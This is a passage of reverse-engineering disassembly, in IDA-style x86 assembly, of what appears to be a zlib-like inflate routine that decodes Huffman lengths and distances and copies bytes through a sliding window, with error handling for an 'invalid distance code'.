		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42B009
; ---------------------------------------------------------------------------


loc_42A689:				; CODE XREF: sub_42A2DE+7Ej
					; DATA XREF: TEUm:0042B015o
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+8]
		mov	[ebp+var_20], edx


loc_42A692:				; CODE XREF: sub_42A2DE+459j
		mov	eax, [ebp+var_24]
		cmp	eax, [ebp+var_20]
		jnb	loc_42A73C
		cmp	[ebp+var_2C], 0
		jz	short loc_42A6AD
		mov	[ebp+arg_8], 0
		jmp	short loc_42A708
; ---------------------------------------------------------------------------


loc_42A6AD:				; CODE XREF: sub_42A2DE+3C4j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_24]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42B009
; ---------------------------------------------------------------------------


loc_42A708:				; CODE XREF: sub_42A2DE+3CDj
		mov	ecx, [ebp+var_2C]
		sub	ecx, 1
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_24]
		shl	eax, cl
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_24]
		add	eax, 8
		mov	[ebp+var_24], eax
		jmp	loc_42A692
; ---------------------------------------------------------------------------


loc_42A73C:				; CODE XREF: sub_42A2DE+3BAj
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_C]
		and	edx, dword_4332F8[ecx*4]
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+4]
		add	ecx, edx
		mov	edx, [ebp+var_10]
		mov	[edx+4], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_24]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_10]
		xor	eax, eax
		mov	al, [edx+11h]
		mov	ecx, [ebp+var_10]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+18h]
		mov	[edx+8], ecx
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 3


loc_42A78E:				; CODE XREF: sub_42A2DE+7Ej
					; DATA XREF: TEUm:0042B019o
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+0Ch]
		mov	[ebp+var_20], ecx


loc_42A797:				; CODE XREF: sub_42A2DE+55Ej
		mov	edx, [ebp+var_24]
		cmp	edx, [ebp+var_20]
		jnb	loc_42A841
		cmp	[ebp+var_2C], 0
		jz	short loc_42A7B2
		mov	[ebp+arg_8], 0
		jmp	short loc_42A80D
; ---------------------------------------------------------------------------


loc_42A7B2:				; CODE XREF: sub_42A2DE+4C9j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_24]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_2C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42B009
; ---------------------------------------------------------------------------


loc_42A80D:				; CODE XREF: sub_42A2DE+4D2j
		mov	eax, [ebp+var_2C]
		sub	eax, 1
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, [ebp+var_24]
		shl	edx, cl
		mov	eax, [ebp+var_C]
		or	eax, edx
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_24]
		add	edx, 8
		mov	[ebp+var_24], edx
		jmp	loc_42A797
; ---------------------------------------------------------------------------


loc_42A841:				; CODE XREF: sub_42A2DE+4BFj
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_C]
		and	ecx, dword_4332F8[eax*4]
		mov	edx, [ebp+var_10]
		mov	eax, [edx+8]
		lea	ecx, [eax+ecx*8]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_14]
		xor	eax, eax
		mov	al, [edx+1]
		mov	ecx, eax
		mov	edx, [ebp+var_C]
		shr	edx, cl
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_24]
		sub	edx, ecx
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_14]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_18]
		and	edx, 10h
		test	edx, edx
		jz	short loc_42A8B6
		mov	eax, [ebp+var_18]
		and	eax, 0Fh
		mov	ecx, [ebp+var_10]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+4]
		mov	[edx+0Ch], ecx
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 4
		jmp	loc_42B004
; ---------------------------------------------------------------------------


loc_42A8B6:				; CODE XREF: sub_42A2DE+5B0j
		mov	eax, [ebp+var_18]
		and	eax, 40h
		test	eax, eax
		jnz	short loc_42A8E0
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_18]
		mov	[ecx+0Ch], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_14]
		lea	eax, [edx+ecx*8]
		mov	ecx, [ebp+var_10]
		mov	[ecx+8], eax
		jmp	loc_42B004
; ---------------------------------------------------------------------------


loc_42A8E0:				; CODE XREF: sub_42A2DE+5E0j
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 9
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+18h], offset aInvalidDistanc ; "invalid distance	code"
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_24]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42B009
; ---------------------------------------------------------------------------


loc_42A955:				; CODE XREF: sub_42A2DE+7Ej
					; DATA XREF: TEUm:0042B01Do
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+8]
		mov	[ebp+var_20], edx


loc_42A95E:				; CODE XREF: sub_42A2DE+725j
		mov	eax, [ebp+var_24]
		cmp	eax, [ebp+var_20]
		jnb	loc_42AA08
		cmp	[ebp+var_2C], 0
		jz	short loc_42A979
		mov	[ebp+arg_8], 0
		jmp	short loc_42A9D4
; ---------------------------------------------------------------------------


loc_42A979:				; CODE XREF: sub_42A2DE+690j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_24]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42B009
; ---------------------------------------------------------------------------


loc_42A9D4:				; CODE XREF: sub_42A2DE+699j
		mov	ecx, [ebp+var_2C]
		sub	ecx, 1
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_24]
		shl	eax, cl
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_24]
		add	eax, 8
		mov	[ebp+var_24], eax
		jmp	loc_42A95E
; ---------------------------------------------------------------------------


loc_42AA08:				; CODE XREF: sub_42A2DE+686j
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_C]
		and	edx, dword_4332F8[ecx*4]
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+0Ch]
		add	ecx, edx
		mov	edx, [ebp+var_10]
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_24]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 5


loc_42AA40:				; CODE XREF: sub_42A2DE+7Ej
					; DATA XREF: TEUm:0042B021o
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		sub	ecx, [eax+28h]
		mov	edx, [ebp+var_10]
		cmp	ecx, [edx+0Ch]
		jnb	short loc_42AA6F
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		sub	ecx, [eax+28h]
		mov	edx, [ebp+var_10]
		mov	eax, [edx+0Ch]
		sub	eax, ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+2Ch]
		sub	edx, eax
		mov	[ebp+var_3C], edx
		jmp	short loc_42AA7B
; ---------------------------------------------------------------------------


loc_42AA6F:				; CODE XREF: sub_42A2DE+771j
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		sub	ecx, [eax+0Ch]
		mov	[ebp+var_3C], ecx


loc_42AA7B:				; CODE XREF: sub_42A2DE+78Fj
		mov	edx, [ebp+var_3C]
		mov	[ebp+var_1C], edx


loc_42AA81:				; CODE XREF: sub_42A2DE+96Bj
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+4], 0
		jz	loc_42AC4E
		cmp	[ebp+var_28], 0
		jnz	loc_42ABFA
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+2Ch]
		jnz	short loc_42AAE8
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax+30h]
		cmp	edx, [ecx+28h]
		jz	short loc_42AAE8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		cmp	eax, [edx+30h]
		jnb	short loc_42AAD6
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+30h]
		sub	edx, [ebp+var_8]
		sub	edx, 1
		mov	[ebp+var_40], edx
		jmp	short loc_42AAE2
; ---------------------------------------------------------------------------


loc_42AAD6:				; CODE XREF: sub_42A2DE+7E5j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2Ch]
		sub	ecx, [ebp+var_8]
		mov	[ebp+var_40], ecx


loc_42AAE2:				; CODE XREF: sub_42A2DE+7F6j
		mov	edx, [ebp+var_40]
		mov	[ebp+var_28], edx


loc_42AAE8:				; CODE XREF: sub_42A2DE+7C3j
					; sub_42A2DE+7D1j
		cmp	[ebp+var_28], 0
		jnz	loc_42ABFA
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A0B0
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+34h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+30h]
		jnb	short loc_42AB37
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		sub	ecx, [ebp+var_8]
		sub	ecx, 1
		mov	[ebp+var_44], ecx
		jmp	short loc_42AB43
; ---------------------------------------------------------------------------


loc_42AB37:				; CODE XREF: sub_42A2DE+846j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_44], eax


loc_42AB43:				; CODE XREF: sub_42A2DE+857j
		mov	ecx, [ebp+var_44]
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		cmp	eax, [edx+2Ch]
		jnz	short loc_42AB99
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		mov	eax, [ecx+30h]
		cmp	eax, [edx+28h]
		jz	short loc_42AB99
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+28h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+30h]
		jnb	short loc_42AB87
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		sub	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_48], eax
		jmp	short loc_42AB93
; ---------------------------------------------------------------------------


loc_42AB87:				; CODE XREF: sub_42A2DE+896j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+2Ch]
		sub	edx, [ebp+var_8]
		mov	[ebp+var_48], edx


loc_42AB93:				; CODE XREF: sub_42A2DE+8A7j
		mov	eax, [ebp+var_48]
		mov	[ebp+var_28], eax


loc_42AB99:				; CODE XREF: sub_42A2DE+874j
					; sub_42A2DE+882j
		cmp	[ebp+var_28], 0
		jnz	short loc_42ABFA
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_24]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42B009
; ---------------------------------------------------------------------------


loc_42ABFA:				; CODE XREF: sub_42A2DE+7B4j
					; sub_42A2DE+80Ej ...
		mov	[ebp+arg_8], 0
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_1C]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_1C]
		add	edx, 1
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_28]
		sub	eax, 1
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_1C]
		cmp	edx, [ecx+2Ch]
		jnz	short loc_42AC3A
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		mov	[ebp+var_1C], ecx


loc_42AC3A:				; CODE XREF: sub_42A2DE+951j
		mov	edx, [ebp+var_10]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	ecx, [ebp+var_10]
		mov	[ecx+4], eax
		jmp	loc_42AA81
; ---------------------------------------------------------------------------


loc_42AC4E:				; CODE XREF: sub_42A2DE+7AAj
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 0
		jmp	loc_42B004
; ---------------------------------------------------------------------------


loc_42AC5C:				; CODE XREF: sub_42A2DE+7Ej
					; DATA XREF: TEUm:0042B025o
		cmp	[ebp+var_28], 0
		jnz	loc_42ADC8
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+2Ch]
		jnz	short loc_42ACB6
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [edx+30h]
		cmp	ecx, [eax+28h]
		jz	short loc_42ACB6
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+28h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+30h]
		jnb	short loc_42ACA4
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		sub	ecx, [ebp+var_8]
		sub	ecx, 1
		mov	[ebp+var_4C], ecx
		jmp	short loc_42ACB0
; ---------------------------------------------------------------------------


loc_42ACA4:				; CODE XREF: sub_42A2DE+9B3j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4C], eax


loc_42ACB0:				; CODE XREF: sub_42A2DE+9C4j
		mov	ecx, [ebp+var_4C]
		mov	[ebp+var_28], ecx


loc_42ACB6:				; CODE XREF: sub_42A2DE+991j
					; sub_42A2DE+99Fj
		cmp	[ebp+var_28], 0
		jnz	loc_42ADC8
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42A0B0
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+34h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+30h]
		jnb	short loc_42AD05
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		sub	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_50], eax
		jmp	short loc_42AD11
; ---------------------------------------------------------------------------


loc_42AD05:				; CODE XREF: sub_42A2DE+A14j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+2Ch]
		sub	edx, [ebp+var_8]
		mov	[ebp+var_50], edx


loc_42AD11:				; CODE XREF: sub_42A2DE+A25j
		mov	eax, [ebp+var_50]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+2Ch]
		jnz	short loc_42AD67
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax+30h]
		cmp	edx, [ecx+28h]
		jz	short loc_42AD67
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		cmp	eax, [edx+30h]
		jnb	short loc_42AD55
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+30h]
		sub	edx, [ebp+var_8]
		sub	edx, 1
		mov	[ebp+var_54], edx
		jmp	short loc_42AD61
; ---------------------------------------------------------------------------


loc_42AD55:				; CODE XREF: sub_42A2DE+A64j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2Ch]
		sub	ecx, [ebp+var_8]
		mov	[ebp+var_54], ecx


loc_42AD61:				; CODE XREF: sub_42A2DE+A75j
		mov	edx, [ebp+var_54]
		mov	[ebp+var_28], edx


loc_42AD67:				; CODE XREF: sub_42A2DE+A42j
					; sub_42A2DE+A50j
		cmp	[ebp+var_28], 0
		jnz	short loc_42ADC8
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_24]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_2C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42B009
; ---------------------------------------------------------------------------


loc_42ADC8:				; CODE XREF: sub_42A2DE+982j
					; sub_42A2DE+9DCj ...
		mov	[ebp+arg_8], 0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		mov	dl, [ecx+8]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_28]
		sub	ecx, 1
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 0
		jmp	loc_42B004
; ---------------------------------------------------------------------------


loc_42ADFA:				; CODE XREF: sub_42A2DE+7Ej
					; DATA XREF: TEUm:0042B029o
		cmp	[ebp+var_24], 7
		jbe	short loc_42AE1B
		mov	eax, [ebp+var_24]
		sub	eax, 8
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_2C]
		add	ecx, 1
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_42AE1B:				; CODE XREF: sub_42A2DE+B20j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A0B0
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+34h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+30h]
		jnb	short loc_42AE60
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		sub	ecx, [ebp+var_8]
		sub	ecx, 1
		mov	[ebp+var_58], ecx
		jmp	short loc_42AE6C
; ---------------------------------------------------------------------------


loc_42AE60:				; CODE XREF: sub_42A2DE+B6Fj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_58], eax


loc_42AE6C:				; CODE XREF: sub_42A2DE+B80j
		mov	ecx, [ebp+var_58]
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [edx+30h]
		cmp	ecx, [eax+34h]
		jz	short loc_42AEDB
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_24]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_2C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42B009
; ---------------------------------------------------------------------------


loc_42AEDB:				; CODE XREF: sub_42A2DE+BA0j
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 8


loc_42AEE4:				; CODE XREF: sub_42A2DE+7Ej
					; DATA XREF: TEUm:0042B02Do
		mov	[ebp+arg_8], 1
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_24]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_2C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42B009
; ---------------------------------------------------------------------------


loc_42AF46:				; CODE XREF: sub_42A2DE+7Ej
					; DATA XREF: TEUm:0042B031o
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_24]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_2C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	short loc_42B009
; ---------------------------------------------------------------------------


loc_42AFA5:				; CODE XREF: sub_42A2DE+75j
		mov	[ebp+arg_8], 0FFFFFFFEh
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_24]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_2C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	short loc_42B009
; ---------------------------------------------------------------------------


loc_42B004:				; CODE XREF: sub_42A2DE+186j
					; sub_42A2DE+2BFj ...
